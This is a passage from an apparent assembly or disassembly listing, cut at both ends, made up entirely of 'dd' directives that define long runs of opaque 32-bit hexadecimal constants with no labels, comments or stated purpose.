3FB9E5Eh, 0DF299D0Ch dd 1C41ECA8h, 30F87539h, 0A431070Fh, 0C51F1ABCh, 8D15456h dd 784B69FDh, 9995BA2Eh, 73416DC5h, 0B47A20DDh, 5DEB1B9Bh dd 3FF7FA41h, 5EB2B00Eh, 6A50D888h, 0C6A7EEDCh, 5DD835EFh dd 2D50A77Ah, 567BB4E6h, 0A937D684h, 0D571574Ah, 0D079B447h dd 0A5118E6Eh, 5A5EC2A3h, 0B8548F81h, 0EB83904Fh, 15DCD7A5h dd 0ED7415C3h, 0A4FED6BFh, 224D139Bh, 9A6776D3h, 713004D8h dd 350CAA70h, 22318806h, 69E25111h, 0B4E12E4Ah, 7A184140h dd 49060F76h, 0E6F7E6E8h, 9E37E408h, 0C68B2D1Ah, 137F4C56h dd 6F97A7B2h, 0D519AD82h, 0ACDD2F67h, 0E1466A07h, 22C722Eh dd 0A333DC29h, 1F8D516Ah, 9A3C9F83h, 0B8B8959Dh, 0F78DFBCAh dd 77119EA7h, 75F5C807h, 89BD8C96h, 95F8DABAh, 0D26227FAh dd 7DED006Eh, 80DD7AC3h, 0C4CFA4BCh, 9D1297EDh, 608B327h dd 6DE922h, 9FF5435h, 0A6711BBDh, 21DF9AEEh, 233386CDh dd 3706CDBEh, 0D98D6D10h, 1F34EA0Fh, 2EC3130Ah, 0C6DD262Ch dd 6E2DA6E5h, 287E47D4h, 7AC891F3h, 0CA288CE4h, 0B8CE9CF9h dd 0A9EFD63h, 0D92970F1h, 6F581853h, 0BB8CCBCh, 0DFEF0CF3h dd 13B79128h, 0F75CCE31h, 10AB89BFh, 0BB64163Ah, 42DDFA9Ah dd 0DD9EEF96h, 2C963CAEh, 0BC037B07h, 3E876F5Bh, 0EA70E619h dd 41335675h, 9B7E328Fh, 0D4130F47h, 8CF110D5h, 8F7815BEh dd 6FE4518Dh, 74841B73h, 6A7C306Eh, 36756621h, 6E55778Dh dd 802A301Ah, 3FBE158h, 151E636Eh, 7985AB02h, 58D65F80h dd 9DA00D6Ah, 0C78C1833h, 0EF05D533h, 9B453C49h, 579DD987h dd 364618EDh, 358F8837h, 0F8C187DAh, 0C5BA4315h, 5BB38A8Bh dd 20E6B910h, 644AFA2Eh, 199F1C7Dh, 7C1522FDh, 0FA6C9165h dd 477ED20Dh, 0BFCCE4E1h, 0BCFAA027h, 36C7E1B6h, 8B93EB66h dd 0BB4641E1h, 0B72A327Dh, 4BA1F1F3h, 4F11CFD3h, 219FF370h dd 99B24A3Fh, 2FD5636Eh, 83FEE38Dh, 0ED6C340Fh, 414E4AC0h dd 7C75ABEDh, 214789F3h, 38733DB8h, 82573383h, 51D2FDC9h dd 0A3217096h, 0C69037C7h, 6CEF02F5h, 0A6B23666h, 0A2BCC1E5h dd 0E0386A47h, 58914545h, 0AFE452F2h, 306E7CF9h, 612EDB46h dd 16A8A87Eh, 0E5BB064Dh, 749F0F51h, 0DCC528A8h, 51C36418h dd 11BEEB85h, 3D49A20Ch, 8BEC9913h, 5D597552h, 21A51E52h dd 0B425DB4Ah, 4E3AA118h, 0B3DD03A0h, 46B03478h, 0E18F8721h dd 0F316E459h, 0C00C8834h, 0EA298EE6h, 0CA6F9DDCh, 52F1FF88h dd 0E0C9236Eh, 7A86D7A5h, 3382EE35h, 1BAFC477h, 446710C8h dd 800F93D2h, 0E8DB1140h, 0C43E1129h, 5B2DE936h, 28DB471Dh dd 0CF871E9Bh, 0F335747Ch, 5145AB9Ch, 0E5CD511Ch, 1F5A71C4h dd 7883828Ah, 89A6C907h, 45730C03h, 0AD426D66h, 0CE6AC54Eh dd 2D7E6BC2h, 0B83DA7A7h, 75275497h, 264517D7h, 55DF88E0h dd 0A082E49Ah, 94733834h, 0B959831h, 6B50F0A8h, 2594D3D1h dd 0FF6C9F55h, 3836D686h, 0D7D16C59h, 3A180AA8h, 0B077435Ah dd 0AD255662h, 887D33F7h, 0E870D5D9h, 0AA5A2409h, 0C5F15EF9h dd 7589516Ah, 7833B8E2h, 0AEFD662Fh, 7B44EC54h, 0CA99092Dh dd 679EB0B8h, 109101FDh, 0D635BAEAh, 6F3F28Eh, 4AA0D965h dd 0F2B1BE28h, 78AC0B45h, 0AC5C40DEh, 0EC8EFFB8h, 32D4891Dh dd 0D8D3DCD0h, 4176CBF7h, 560C0074h, 32B95222h, 0FA490B3Fh dd 5214CC76h, 0A31A0B40h, 5613134Fh, 5FB3FCB0h, 0DC7A69A5h dd 0CBB254E9h, 0D841E3EEh, 0A599047Fh, 4334FF54h, 0E650E289h dd 8FD52A6Fh, 3100D5C1h, 0E87A4672h, 46B0D4ABh, 2AAD941Fh dd 0F0782F7Dh, 9543525Eh, 5ABDC74h, 744AE255h, 0C1090E5Bh dd 7635E792h, 92F13C8Ch, 4ADC0FCCh, 78C1E69Ch, 997251B4h dd 1B90D06Fh, 0B50D1275h, 247F0B71h, 0C6A2A0F1h, 4CFA8211h dd 3B2E07D4h, 0D21F3C33h, 9E32905h, 70E188FDh, 0AA30535Ah dd 0E68A7478h, 0F4CF4181h, 0B63D40F3h, 5BBC37FAh, 784BFF98h dd 0E66E4174h, 0A86F72C5h dd 0E7FD542Fh, 20A569C6h, 0DEA4451Dh, 4FD27242h, 466B238Ah dd 9FF3370Fh, 3EA708B4h, 4FD42703h, 4E1B2DEh, 1A037752h dd 0C8966A75h, 0E0E86328h, 0F666A0ACh, 9645331Fh, 1717E202h dd 0A43574A0h, 71FA0171h, 4C275A13h, 0A018680Eh, 0C7CB74C2h dd 0F340396Fh, 57C39403h, 7BD1C76Ch, 395DDCCBh, 8671662Ah dd 6EB44FB5h, 8BA8A557h, 427F8239h, 1A85A473h, 0F43EE074h dd 835B5828h, 0FBB78B2Dh, 9A44171Ah, 6EB8525Ah, 967E6DF3h dd 0D5ACB3CBh, 8CD54B21h, 0EA446C29h, 824FB154h, 94CC8239h dd 0B9BC4F0Fh, 26E53328h, 7BBC121Eh, 0CBEC686Bh, 0F6AEEB59h dd 0A1A45A4Ah, 26638ED9h, 5834CBD6h, 0B746FB2Ah, 0CEEC393Dh dd 7B1F4DAAh, 0C3824A6Bh, 0AC348269h, 9B9EDA1h, 99ED1612h dd 0DCFE7D3h, 0E142564Dh, 0A49801D5h, 0DEC3F0DFh, 1209E05Ah dd 0E44AEEFBh, 2FCE4BA0h, 4DD0003Ch, 0F6097AFEh, 0C7102CC3h dd 0E6F1A551h, 0AA3C39D2h, 0C507DE24h, 61204585h, 0A66BF4B5h dd 41F23B2Ch, 738F1D39h, 0F3391559h, 6195972h, 5884F22Dh dd 0F52D100h, 0EAE974E0h, 5D4637B8h, 89CFDF0Fh, 0A04641C8h dd 0E7FF3A6Dh, 0C12D6C05h, 0F6990B78h, 0CDC8DDF0h, 17036A24h dd 0AB6CA713h, 0C503344Bh, 9B7515h, 981377A1h, 0F9688659h dd 0E66AF28Eh, 81C08F52h, 61E2E80Eh, 0B5ED5A82h, 4129E7DEh dd 557A4BF7h, 0F6A35AA2h, 0EDC08CCh, 0CF811D13h, 56704CCDh dd 514C2C27h, 7D49BC8h, 1A7ADE04h, 72E6E681h, 7472ABB4h dd 0D15AECBCh, 5F8FEE10h, 7C01EE5Dh, 1676D69Ah, 67D9AF7Fh dd 0B1D0BF90h, 0F682F732h, 29B1A962h, 0C10C299Eh, 32DFC23Ah dd 86F5AF38h, 0A497B759h, 77A4FEC0h, 8C4A7AB5h, 2697F80Eh dd 0F6955938h, 9C1A8AC0h, 335DBD3Fh, 0F7F6DF3Bh, 44E1F139h dd 0F875FDC8h, 67AEC488h, 152E98FDh, 0E497450Ah, 0D477DCBAh dd 9548A6B0h, 1375D450h, 3F9D232Ah, 0A338FAAh, 0E3CE74CEh dd 1E2CCB8Dh, 0CC425F78h, 203E817Bh, 0A9E3BD28h, 18EAE020h dd 93F8F012h, 24722DAEh, 72526E89h, 9F8B20A9h, 94D30ED8h dd 414A45A1h, 0A51E85EAh, 6D4C5D6Bh, 8BD446Bh, 0F62CF2C5h dd 3E42B539h, 82ED4483h, 0E6E8C7E7h, 93AC1B08h, 0F396AD48h dd 817184FCh, 76C902C5h, 0C1431D2Ah, 1F8A2271h, 0B92B49CAh dd 172A929Dh, 4FE0D4D6h, 159A2FDBh, 7BF9BABEh, 6C6E3405h dd 4CF18597h, 0F0EBC3B1h, 6593FCD8h, 1F2AE136h, 0E5C845AAh dd 1B419002h, 9C4A1B4Dh, 0C012D853h, 1757C1A3h, 4718B18Ch dd 1F28E5F7h, 0E77D81Dh, 0C6CDEDF0h, 7D51D6D3h, 4C6E9458h dd 0E169030Ah, 0ABA03347h, 0DBB8D031h, 3E682612h, 0DCE8229Fh dd 783373AFh, 1E24F6EBh, 3523AEB0h, 0CDD78A5Dh, 9E71C2Dh dd 0F181546Dh, 0E9071B19h, 0DCD72AC6h, 1CB456BCh, 201AE569h dd 4194A381h, 8156B79Bh, 90B79D69h, 0D4319816h, 748F44CDh dd 0F7567E5Fh, 0A2AAA8A9h, 4977CF40h, 6DE67CE5h, 39E9E35Ah dd 0A9412C72h, 21CBDE63h, 35F99C8Eh, 21DAC68Ah, 20415EE4h dd 0DA2E16B2h, 0F1AEC48h, 6BBB2F03h, 8B733DEDh, 6ABF5FE0h dd 4DC64F00h, 0D32C99E0h, 63F1C621h, 76CE877Fh, 0A489D2EFh dd 699D60EEh, 338D8D0Ch, 64EA1BCEh, 40B651B8h, 436D1FEEh dd 1D9EC506h, 6B96EB94h, 6F816B09h, 25EE5127h, 2A602585h dd 4937B898h, 873B8368h, 827EB55Ah, 0E4282ACCh, 2FEB6D9Eh dd 0ACED7EFAh, 0F227E12Ch, 17AEFF6Eh, 5B1335A2h, 72E43B74h dd 2479DD48h, 51160939h, 0A112C9F1h, 0A322273h, 68BB7E3Bh dd 0B0F4D67Ah, 0E6549179h, 77AF158Eh, 0B6F971Bh, 0F9B33288h dd 6B73A03h, 0ADF8AA95h, 0CBEBBEFAh, 9B3DB47Fh, 0F9E66BC2h dd 0D4ED51AEh, 926AB6F3h, 3768318Ah, 737C4097h, 806AE81Ah dd 2D2A91B0h, 0FCCEC88Dh, 0BEBD588Dh, 0ED5FDA72h, 0AF671D81h dd 430CB28h, 0ACCAE33h, 1D360C1Bh, 77A1FBF0h, 99358366h dd 318E7004h, 5559D4BCh, 0E81AD31Dh, 0A4897E27h, 5C5631D8h dd 92E3EC92h, 20417260h, 27A5D97Eh, 0A01BC547h, 87A1748Ch dd 0BC63259Dh, 512058C1h, 0C3A91E7Ah, 0DB2A28C0h, 0F1F104EEh dd 45A4A364h, 0F7CB6C4Bh, 0A920B96Fh, 0F0CACD32h, 0B9855379h dd 818E47A5h, 3EEF55B8h, 0A0524EFh, 0B55E9F81h, 0D30528CCh dd 63B1E78Ch, 0D7324D3h, 5A49B185h, 52613DCBh, 497AD993h dd 5108F6E1h, 312A6DCCh, 909791DEh, 84780914h, 0DBE5BFBFh dd 2A668963h, 0E9864407h, 0BEED17B8h, 777E73FAh, 3AA7B9F3h dd 0F8DC67FDh, 0CF53C1Eh, 5D923DFh, 0C6C1AE49h, 37D1F674h dd 52018145h, 0CC692915h, 7BBE7752h, 84B9C052h, 0C755EFB2h dd 0FAB042F1h, 1162B342h, 72462AD9h, 0B0E2F93Dh, 0F15860Dh dd 0F7EF322Bh, 4AF1EB24h, 262F8F42h, 17841BAh, 513845B7h dd 1BEFC496h, 0C9E75F7h, 0EA8486A8h, 8A74E751h, 0CAD77B7Bh dd 537651E6h, 4425E2A5h, 161DEFDEh, 0D891B2C9h, 602C2A08h dd 0AE18DFC8h, 0D3FD08D0h, 7DB77B3Dh, 390DD9ABh, 41CD483Eh dd 0F4E242C8h, 9F8217ADh, 2FC65542h, 37AD3C4Bh, 7DF82D31h dd 0C5CF83E4h, 423A767h, 656C482Eh, 316041E3h, 0EEF0013Bh dd 7FF6006Fh, 246C8F70h, 0BD5814D3h, 268CCB61h, 0DDDC5D27h dd 0E9604B78h, 5FAA29D9h, 5F3BF102h, 0F6F6AA3Dh, 0D2500C86h dd 673AE56Ah, 3E0F2B8Ah, 0DEEF252Bh, 47D7B13Bh, 9A2A4EC4h dd 63F89B5Dh, 0F74B5566h, 0AF2581A7h, 0A8A6829Ch, 182A6154h dd 0F93A7714h, 96D721ECh, 442B2D11h, 0CE5EAFCBh, 509A8C37h dd 83A9EA2Ch, 0CE4EFC53h, 83146D14h, 2784DC50h, 452A1369h dd 70843D82h, 1EABFEACh, 0A995CE76h, 1253A3B4h, 7FAB4FDEh dd 0DE171151h, 0ED49B6E6h, 481D0A91h, 70B6DE77h, 0EAD53091h dd 994542Dh, 63643679h, 0E9E87658h, 71B7C7B9h, 3E3F29F5h dd 368A873Eh, 0D2F3BB7Bh, 12EF1DBFh, 8A7E6C08h, 4A999903h dd 0E6EC5BACh, 0F290E39Ch, 9E48F284h, 0EE0975B6h, 3835B3D7h dd 434ECE23h, 0C21D4596h, 9703FC0Eh, 51655924h, 5ABAD3D3h dd 60F39559h, 43AEEFEAh, 0C2710F78h, 4396715Bh, 5C657F02h dd 675B4580h, 62DE7B3Ch, 0BAABF54Bh, 33F24237h, 6BADB4F8h dd 0E3F1F579h, 0EA877068h, 7AC2AF3Eh, 666E6BEDh, 41F91560h dd 0E88BDBFDh, 37029827h, 832CC185h, 8B65E44Fh, 5E3F4C0Ah dd 7973012Ch, 0EF31ED36h, 8785C3B5h, 0DFEA64DFh, 3D649348h dd 93DC283Ch, 0AB8DE5D0h, 0D6894F5Bh, 0D1E17A25h, 69907B00h dd 207B94E0h, 4CAD8C4Eh, 6B8F4DD6h, 95F4D706h, 8D489A3h dd 0F3E6BDBFh, 0F20BA50Ah, 513BDDEAh, 620D80B6h, 2BF7E187h dd 3AFC51DEh, 58B3350Bh, 2FC6C666h, 0E7084D97h, 201C297h dd 2EAEDF82h, 6B090C85h, 2FF1D4DCh, 59E9E041h, 9F606364h dd 0FB58A950h, 50BE6D57h, 0B633386Dh, 9B192ABAh, 622BE0E9h dd 8533201h, 0F88587F4h, 8EAB7E5Dh, 8346F33Fh, 0CD01A275h dd 0C45E5534h, 1D2E16CEh, 0EE942F10h, 0DBD88A04h, 54452775h dd 26413867h, 60E17176h, 852A8565h, 7F3E9D48h, 0EA1B312Fh dd 0D71EC037h, 1E17BAFh, 0B239A3F2h, 0E920BF21h, 6EB4DA69h dd 5D2AE25Ah, 8CC34191h, 3F4C41FFh, 7E620311h, 969A6D67h dd 6973EF6Ch, 42B91A9Dh, 0D38C39Dh, 4BBB064Eh, 0D908CE3h dd 0DF6532B8h, 8CE6B196h, 797F9ACFh, 2BFA1A2Fh, 10D08534h dd 0B2D650Bh, 92DF03AFh, 5C19D498h, 15883B4h, 5D8DDAB9h dd 3A7C450Fh, 3D8DDFD8h dd 7D1D8308h, 8C041DDBh, 62C53CC7h, 0D9F34DD9h, 0E9EF73ADh dd 9BC942CDh, 0E402F302h, 0B5DEFE5Ch, 0F5F16F01h, 0CF0AD9EDh dd 3FDE0AB8h, 0B1AFA9D7h, 0C587C0D1h, 0C82C141Ah, 0D6C950AFh dd 5ED1F652h, 8EBB83BEh, 0E653DC8Ch, 611122BCh, 15F8908Bh dd 0F15D75DBh, 0C2D36419h, 0C8F41DBFh, 0E76B8285h, 0E1780A3Ch dd 0DAFD30D3h, 0BA1369D3h, 438E0178h, 0C0514A7Eh, 5D91AD76h dd 64CC455Bh, 17AC0EB8h, 1F878D89h, 19417B45h, 0F7C07C89h dd 6C5A7886h, 51EBAEBBh, 0E1C11287h, 0D4FC09EBh, 0C0109209h dd 5C654056h, 896A4F93h, 60617127h, 0CBC87BFBh, 77C9E11Bh dd 885ADB7h, 0FC620D70h, 0A2FCCC93h, 0F69CC8EDh, 33EAA589h dd 0EAE30E49h, 0F8E650A7h, 0F71545B4h, 0B8D87F9Bh, 7DB928DEh dd 511E6B55h, 86D4E2C8h, 0FD976CBBh, 1EC418F2h, 0F42F9F95h dd 37ABC8E2h, 160C947Bh, 80936E9h, 0C4002BC2h, 0DEAA8411h dd 619C5AAEh, 4B1F4214h, 537AC700h, 38EFF223h, 0DF922480h dd 52FC635Fh, 77EDAF6Ch, 1CE8C20Eh, 0C5B6FECh, 71E68A94h dd 54558093h, 132DD900h, 0B0A088EFh, 78637178h, 35A059B9h dd 56613FEEh, 0F2CE85A3h, 2A8701F2h, 226B258Dh, 0A8623EA5h dd 0A1BBB2B4h, 0C7294558h, 28063037h, 4C253AD1h, 0FB0F0A87h dd 73F1E8Bh, 584AE922h, 8C70528Bh, 8F05198Fh, 0BA01C3ABh dd 799CF537h, 0C634C5C7h, 0C1C89AF2h, 0D2D528E5h, 547FE4DDh dd 0DE9CF99Bh, 8517EB2Dh, 0DBD8B1B6h, 643ACD52h, 0ADFEC65Ah dd 54F023EDh, 6A7611CCh, 74D9A8BAh, 0BB9544F0h, 0C9BB1E4Ah dd 0BD1CE14Dh, 78DB8521h, 1A7DA5BCh, 7E2C3451h, 0CBAEE0ECh dd 3392012h, 284BCC1Bh, 1EC7120Fh, 0F7A68882h, 613AB32h dd 5F1D5900h, 0A6AFE1BAh, 0C85B9A92h, 3369337Dh, 43F10B67h dd 0BAB1BCEh, 0FB7AF59Fh, 6041D883h, 2B1FD47Bh, 1EA33C7Ah dd 2E8E2157h, 0C3219650h, 890C3A08h, 74438F14h, 5B2A4828h dd 0BC723D23h, 0FFDD557Bh, 0E05E6345h, 17A5B918h, 0BB81172Bh dd 60FEA353h, 0A0975770h, 0D13D143Dh, 5BE3D180h, 31998723h dd 62DB4E98h, 0D2CDDB7Ch, 34368F09h, 0D070FC9Ch, 3522954Dh dd 803F35DBh, 0F971965Dh, 0C24C9870h, 51C0D2Ah, 4DDC8D62h dd 0E665B75Dh, 1D234A58h, 0FAD06630h, 0C82E64CAh, 70ACD286h dd 47DEAB1Bh, 870070B1h, 22BE0D65h, 0C8291704h, 0DB7A3275h dd 11EB7BBDh, 0F7F7A1B3h, 25857149h, 5594EAC6h, 0D94B5FD7h dd 144C2E0Ch, 26B141BEh, 7AF948CCh, 0B9B9B167h, 3B68D99Bh dd 2B5D81EBh, 4930A8h, 97956862h, 0B6C5A264h, 0C4D3FD38h dd 752B657Dh, 0FE93E8ABh, 0D5B90752h, 5A4B214Fh, 0D57E973Dh dd 5F1A3BF1h, 41EA8EDDh, 6920BD4h, 53A12519h, 9B7EBBC9h dd 307E68FBh, 84E985EFh, 0A11E1650h, 0FF6B4424h, 0D55AB317h dd 629C2A9Dh, 87AC7A42h, 2F36EF7h, 25DE5EB5h, 6E845886h dd 0BDDEA551h, 9C4477DFh, 3CC48165h, 0F60C3D0Eh, 0A5BC9514h dd 210CE3FCh, 97045EFBh, 63241F32h, 2A76900h, 44DE809h dd 49A6020Ch, 935A6D2Dh, 2520BC1h, 0D3809069h, 0D194366Eh dd 30C46327h, 5BDF3FD1h, 564B349Ah, 97914788h, 8257EB56h dd 7BED37Fh, 1BC4F962h, 1C1DDB1Eh, 0C29A0FECh, 4BF875E6h dd 0FFCF52DDh, 47A2061Ch, 0C49E4925h, 20AA500Dh, 0BBEC4E61h dd 0D76C0F49h, 4D92354Ch, 2AAE5ABAh, 61CF5F91h, 0C8F78B93h dd 49974AB8h, 7C9733EEh, 6A789F4Fh, 8995CFCDh, 26080274h dd 0CA192163h, 6ED99006h, 5197BCFh, 9E95AFDh, 0BEA24316h dd 47EEE3F6h, 143348C7h, 0DAC72EF5h, 0EECBB211h, 4DC3C372h dd 0AC5CB059h, 22512CA8h, 2B9DC775h, 0AD642B98h, 635760C2h dd 5EF5098Ah, 0F1DC96C9h, 0E7F242A2h, 9D3203FDh, 60F612C9h dd 5B2A1136h, 0AE45AB0Eh, 3A8DB153h, 0C83ECF16h, 45D1B1A9h dd 936E6E78h, 261D0998h, 7FB7E3D4h, 19FFA910h, 0BA064C08h dd 0C7567866h, 15F3045h, 0FCB97157h, 0BAA4FC04h, 0E60E5569h dd 0F0FE3927h, 43B0C682h, 92D3ACF1h, 0A6C9D6DBh, 9766B673h dd 3B86CE2Dh, 9C78347Ah, 0F6F981A9h, 97DC4757h, 0F9690FE9h dd 0F499FCD1h, 249ACA2Ch, 6BA6F8BFh, 2D313B36h, 0FFFFE2A2h dd 802A7CADh, 0C3308F1h, 0EF73C88Ch, 61F9F872h, 7DFAA848h dd 0FF399DFCh, 28675F7h, 0C46D1447h, 0B439BC10h, 52887195h dd 0C1737190h, 1613BC85h, 0E9760321h, 99C73E2Fh, 0EE11E8BEh dd 0BAC4983Eh, 1EDA6960h, 0FCA27924h, 0DD19219Ah, 0EDD3FB96h dd 0A63C9032h, 3929726Ch, 20D504A4h, 0C3ECAE5Ch, 7F416DC5h dd 0EDDFDCE0h, 5BF71266h, 54744103h, 0A62ECCBFh, 3FD7D0E5h dd 35FEBA80h, 0A26B2A8Dh, 0D7DC59h, 0E70D2F21h, 0C527E145h dd 0A24DBA40h, 3734D8E9h, 0BD680F67h, 46EE68DBh, 726A72AEh dd 0C9328335h, 69F9D699h, 7F9C7090h, 0B5A4ECE1h, 0FE0E3764h dd 82DE437Dh, 0A20FAC48h, 8AAC2A23h, 2CDC73F4h, 7F1A79F9h dd 4E7D4D55h, 0A408C367h, 1A19400Dh, 86EA9796h, 0F18AD3FCh dd 0EDB3CC24h, 1CA2B4BDh, 0AE360752h, 89D6ED94h, 8A1C32DFh dd 141086D5h, 52CA7EEDh, 0A12F1B20h, 49D577B9h, 0FAB7618h dd 311DC723h, 5F3F1824h, 0B3FE09EDh, 9E6FD50Ch, 31C17CAFh dd 9F0BD54Ch, 0D3B58F2h, 5DC4078Dh, 0DB26FE15h, 217CE881h dd 46BA8296h, 0D28F74A2h, 0ECA71918h, 0C59A14DCh, 7AD4091Ch dd 7D8205FCh, 0A7C6F2F1h, 29204DFBh, 0AD88069h, 9E79A236h dd 22EFFD95h, 0AF40FD64h, 1E6E2B9Fh, 290635D3h, 0E4D6B4Bh dd 143121FAh, 0FEBCD6D8h, 12A090D3h, 0C1EE632Bh, 40F9E01Eh dd 1127F3C7h, 8AF89BB5h, 0DE64F7h, 3AAF6CE9h, 84DBCD9Eh dd 5C9DEF09h, 0E847B0BCh, 2345CB67h, 3EC07CF8h, 0B54B4206h dd 4E20827Ah, 259758E5h, 19A3B3F4h, 767E510Eh, 37B213BEh dd 4DEF5461h, 9D0BE356h, 0FC942EC8h, 8C79F23Ah, 1DD0CC67h dd 674EE259h, 39C800CEh, 5851EBFDh, 0EA1F46B7h, 0BFF9271Eh dd 57646D6Dh, 75D34889h, 1EF14645h, 278B89F4h, 617A1B21h dd 639C6A59h, 3886C9E5h, 0A907826h, 53C6607Eh, 7C7B97C9h dd 0BC6C9738h, 9F52F7Fh, 804CFDFEh, 25AB3308h, 0D716A89Ah dd 0C3360E5Ah, 92128C57h, 615105FAh, 0C8A7FD8Ah, 0FC7B9DACh dd 7CC7F14Dh, 967A5A93h, 8E38F10Ch, 259D4BB8h, 4A6FD7C0h dd 2DD5433Ch, 8766E5F4h, 69D3EDC0h, 78EAD7F8h, 78B6C5F0h dd 6848C4EAh, 853AD7C3h, 5780E1A1h, 8ECB6043h, 0C6A01B2Eh dd 7B2D3F7Fh, 0FA7399C3h, 3779274Ah, 24A4DEEDh, 0AA215E52h dd 1E2783EBh, 0CE5388DFh, 12C9F825h, 0B9184644h, 5ACDD1A0h dd 0BF3A3CB0h, 0C073C500h, 0A9D8C413h, 836A4D2Ah, 13139BD0h dd 8540F167h, 2F74E3B4h, 420B21BEh, 44EF7194h, 99883F3Ch dd 1DD78597h, 113F7ECEh, 4C111DB5h, 0D61E72A0h, 7F1EA462h dd 0B873D0E1h, 0C2B07932h, 1777F91Dh, 7993811Fh, 50E45131h dd 0B84D3360h, 66540BA5h, 222D6D9Ah, 9F9870E6h, 3F09FFDBh dd 62EF959Bh, 1B69B412h, 1BD1C510h, 0BEB952DCh, 178136FFh dd 36CADD72h, 91206FD5h, 78DB1425h, 0F81DFDD8h, 21486CF8h dd 80974122h, 985F50E1h, 16C43C13h, 0D2D1BFBCh, 4941345Eh dd 78E937D1h, 3135601Eh, 0FFF7170Ah, 4C789DFh, 0BCF614B7h dd 69C95683h, 69928C48h, 0A2511AC5h, 4FFE2C65h, 0EACC5D5Bh dd 0B2D64635h, 57F92734h, 0A9B3D5D1h, 0D350AE7Dh, 0F089B143h dd 0D938A601h, 573E973Ah dd 2246C659h, 27CA7F1Fh, 8D19DBAEh, 7D1D1930h, 7D6D5633h dd 1E717A29h, 6874D704h, 0EC83A852h, 913FD339h, 0E7845F56h dd 0FCF8EB14h, 8A5AF887h, 124B0C2h, 0E68894F2h, 0B548FF7Fh dd 0E37F07EBh, 0DB4F94Eh, 0E74E05Eh, 0BFDA4FD2h, 0D1A0AEE4h dd 0EE21B61Ch, 0D54DCBCDh, 0D14A3159h, 670CDC56h, 88EB0084h dd 88827821h, 7D1D626Bh, 0ABFCC4A3h, 401FEEFCh, 0DA47D040h dd 6523ED31h, 0D6518F60h, 691BFCC3h, 0B0752292h, 7F1B9F28h dd 8DC9F1C5h, 0ECCD07C7h, 0F6B0BC15h, 0CB627C3Dh, 288D49DBh dd 8ABB4E2Ch, 0B2A474DDh, 42937EA2h, 0AD1B43EFh, 0A74EAE07h dd 24E108C4h, 0CB1FAF9Eh, 1E9ABEAEh, 24C334F8h, 9A3DBB2Dh dd 88ADCAFAh, 0BB238047h, 661662E9h, 0CC73301Ch, 49D60B43h dd 0C9DBB128h, 0A52E6597h, 0D1848B4h, 47C52520h, 97F36A39h dd 7992ADA0h, 47E7BFE3h, 675F7CF5h, 17E269FDh, 0C99481B7h dd 0C198701Ah, 0A0FC423Ah, 4CB8FCE8h, 0EE8975F8h, 4B9BDA0Ch dd 27F823B4h, 6CFBB92Ch, 0ACD3AB20h, 1B7FC5Ah, 40C14EEBh dd 0B8CB7BA3h, 51C50380h, 0A865AE1Bh, 0FF405158h, 8E870A60h dd 7C6F1DC0h, 0A7036F31h, 7DA39359h, 700CB77Fh, 6D134ED4h dd 0C8DA6AA3h, 3B9FB864h, 384F80CDh, 46C881FAh, 602B49E5h dd 0ABCCDA44h, 0D9BB082Ah, 3830AA71h, 0B0499B3Ch, 0DBAF8EBBh dd 0BF6593A7h, 76BB8DC5h, 9647CCB5h, 4EE0F3E3h, 0D51D8A9h dd 16375178h, 51831CB2h, 30019BBAh, 3A10964Ch, 4D5BC745h dd 0E524E8E9h, 0CD51F11Ah, 0B01D10E1h, 0EB198AEBh, 93913241h dd 0EA6D5AE8h, 0DEC84A8Dh, 337105BDh, 943AC166h, 66F077BEh dd 0ED8CB148h, 0B10181Ch, 8230FE9Dh, 0E79C57BBh, 1B61CF6Fh dd 0BE37B52Dh, 6794741Bh, 0FD2FDF2Dh, 525A227Dh, 0E29CB09Eh dd 0D4F259C1h, 47E9BB70h, 0ADFA9FB5h, 0B230731Ch, 381E3C2Ch dd 93F601EAh, 3C5E75FDh, 5AD59592h, 7AAF94ABh, 82653921h dd 540C1B04h, 4E184330h, 273E3474h, 21B3899Ch, 54BE8C80h dd 17833775h, 7ADCD0E5h, 0F9D60F79h, 246C97E1h, 15F5EA2Bh dd 0C1721A42h, 8FE418DCh, 52D021EDh, 67910F2Bh, 0B98F798h dd 0CC12B735h, 0B3DC9BD3h, 19D6B959h, 5316ADAAh, 0E0101977h dd 3B554690h, 0DA1D2AD3h, 0FEC52D05h, 1EAEB3BBh, 0A3C0EB56h dd 0E83082B7h, 31EBDA56h, 3BD5ADDBh, 0F17A2197h, 4575C150h dd 0CE150D1Fh, 0FD8401B7h, 0B85913A5h, 0CCA7998Dh, 72CD692Ah dd 5F0ED49Fh, 75B5685Bh, 2C8CEDB0h, 0F3C5F500h, 0E14EFF20h dd 5D4409C3h, 0D9D1AA26h, 95AB60C6h, 0C3372B1Eh, 0ADF5A81Ah dd 0F558D029h, 1EA75830h, 1C71D0B7h, 0A6E75206h, 67B67766h dd 9608EE2Fh, 0A301E5E0h, 0BF452FB0h, 0F6639B14h, 0D558FBC9h dd 0B4FB2C31h, 0A06DB4BCh, 0F19CD4F8h, 0EBD11740h, 0F37FE01Ah dd 1FA4971Eh, 0EEAD4DB7h, 3A8EFD7Fh, 0DF910A4Bh, 3A01AA23h dd 0FF4131B8h, 7096DE50h, 24DDE79Bh, 0DCA941Bh, 0EB442FE9h dd 0C23DD27Bh, 8FDD1433h, 0D1B9C26Eh, 1A79BF1Fh, 6AC2D9D5h dd 6CB1986Bh, 0BD3C07Ch, 72A3E72Bh, 6F46E9E1h, 7DB747D3h dd 34C9C333h, 0A7ECA6FAh, 920D373Fh, 0F0F67246h, 0C24A57Dh dd 0F01FEFFh, 0F1FB952Ah, 26B1D699h, 9644EA3Fh, 889D646Eh dd 0B865619h, 3FCCF4h, 0FD3FA6DAh, 4EF81ABBh, 0B8377144h dd 0C8DAD533h, 7140A7A9h, 34B25AA4h, 0FA864A1Bh, 3302206Eh dd 0FC01FD25h, 0C6F989D6h, 19265A14h, 0BB4CC647h, 3B0B8DADh dd 90831BBh, 0D53471D3h, 41CE64B0h, 1D3737D4h, 3A11743Dh dd 73D184D9h, 0AAA28044h, 0F32DA725h, 0BC4836F1h, 575F5E58h dd 76CD4EBCh, 0A08CB6FFh, 0B07715FAh, 8F74D637h, 61F8BE05h dd 0CDA4BD1Eh, 0BCDE1D8Fh, 0B1FEE361h, 5CD6CFD0h, 82219B56h dd 1A574782h, 881607A5h, 3CADC6B8h, 0FBA1FE55h, 0ED0B62CAh dd 0C4E91CAAh, 518E0546h, 8E8FBC13h, 0AAD78471h, 6AA7D91Bh dd 0CA5E9B5Dh, 585A2BC0h, 101FEDF7h, 0ED4B33DEh, 8825E8D4h dd 3ECA3C3h, 0A0C1A045h, 0C6571D19h, 0F97CE061h, 0E521333Ch dd 